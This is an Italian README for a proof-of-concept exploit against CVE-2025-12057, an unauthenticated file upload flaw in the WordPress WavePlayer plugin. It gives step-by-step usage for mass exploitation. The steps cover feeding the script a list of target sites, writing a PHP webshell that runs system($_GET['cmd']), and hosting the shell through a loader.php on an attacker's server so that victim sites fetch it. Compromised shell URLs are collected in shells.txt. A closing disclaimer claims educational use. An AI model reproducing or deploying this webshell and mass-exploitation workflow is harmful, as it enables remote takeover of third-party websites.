
PoC per CVE-2025-12057 - Caricamento di file arbitrario non autenticato nel plugin WordPress WavePlayer che porta a RCE
Prova di concetto (PoC) per CVE-2025-12057, una vulnerabilità critica che colpisce il plugin WavePlayer per WordPress (< 3.8.0).
Questa vulnerabilità consente a attaccanti non autenticati di caricare file arbitrari sul server, il che può portare a esecuzione remota di codice (RCE) caricando un file PHP malevolo (webshell).
Un attaccante può abusare della funzionalità di upload vulnerabile per inserire un payload PHP sul server ed eseguire comandi di sistema.
CVE: CVE-2025-12057
Tipo: Caricamento arbitrario di file senza autenticazione
Impatto: Esecuzione remota di codice (RCE)
Plugin interessato: WavePlayer
Versioni interessate: < 3.8.0
Gravità: Critica
Gli attaccanti possono caricare file malevoli nella directory di upload di WordPress ed eseguirli da remoto.
Esegui lo script:
python3 wave.py
Lo script chiederà il percorso di un file .txt contenente i siti target.
Esempio:
sites.txt
Contenuto di esempio:
https://example.com
https://target2.com
https://target3.com
Ogni riga deve contenere un URL di un sito WordPress.
Crea un file payload PHP.
Esempio:
payload.php
Contenuto di esempio:
<?php
system($_GET['cmd']);
?>
L'exploit richiede un URL del payload PHP scaricabile direttamente.
Per fare ciò, crea un altro file PHP nella stessa directory del payload.
Struttura di esempio:
payload.php
loader.php
Contenuto di loader.php:
<?php
// name of the payload file to return
$file = "payload.php";
// force the server to return the file as PHP content
header("Content-Type: application/x-httpd-php");
// output the payload file
readfile($file);
exit;
?>
Spiegazione:
$file = "payload.php"; → nome del file payload da servireheader("Content-Type: application/x-httpd-php"); → forza il server a restituire il file come PHPreadfile($file); → restituisce il contenuto del payloadCiò consente allo script di exploit di scaricare correttamente il payload.
Carica entrambi i file sul tuo server.
URL del payload di esempio:
http://your-server.com/loader.php
Quando lo script chiede l'URL del payload, fornisci il link a loader.php.
I target sfruttati con successo verranno salvati in:
shells.txt
Output di esempio:
https://example.com/wp-content/uploads/peaks/external/{random_numbers}.php
https://target2.com/wp-content/uploads/peaks/external/{random_numbers}.php
wordpress exploit
wordpress poc
wordpress rce
waveplayer exploit
arbitrary file upload
remote code execution
bug bounty
cve-2025-12057
Questo progetto è fornito solo a scopo educativo e per test di sicurezza autorizzati.
L'autore non è responsabile per usi impropri o attività illegali eseguite utilizzando questo codice.